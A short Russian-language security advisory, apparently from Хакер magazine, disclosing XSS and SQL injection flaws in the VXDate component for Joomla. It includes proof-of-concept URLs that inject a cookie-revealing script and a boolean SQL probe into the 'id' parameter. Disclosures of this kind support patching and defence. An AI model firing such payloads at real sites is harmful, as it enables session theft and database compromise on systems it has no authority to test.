Хакер #305. Многошаговые SQL-инъекции
Программа: VXDate (component for Joomla)
Уязвимость позволяет удаленному пользователю выполнить XSS нападение и
выполнить произвольные SQL команды в базе данных приложения.
1) Уязвимость существует из-за недостаточной обработки входных данных в
параметре "id" сценарием index.php (когда "option" установлен в "com_vxdate", "md"
установлен в "details" или в "editform" и "ct" также установлен). Атакующий
может выполнить произвольный сценарий в браузере жертвы в контексте безопасности
уязвимого сайта.
Эксплоит:
http://site/index.php?option=com_vxdate&ct=1&md=details&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/index.php?option=com_vxdate&ct=1&md=editform&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E
2) Уязвимость существует из-за недостаточной обработки входных данных в
параметре "id" сценарием index.php (когда "option" установлен в "com_vxdate", "md"
установлен в "details" и "ct" также установлен). Удаленный пользователь может с
помощью специально сформированного запроса выполнить произвольные SQL команды в
базе данных приложения.
Эксплоит:
http://site/index.php?option=com_vxdate&ct=1&md=editform&id=-1%20or%20version()=5
http://site/index.php?option=com_vxdate&ct=1&md=details&id=-1%20or%20version()=5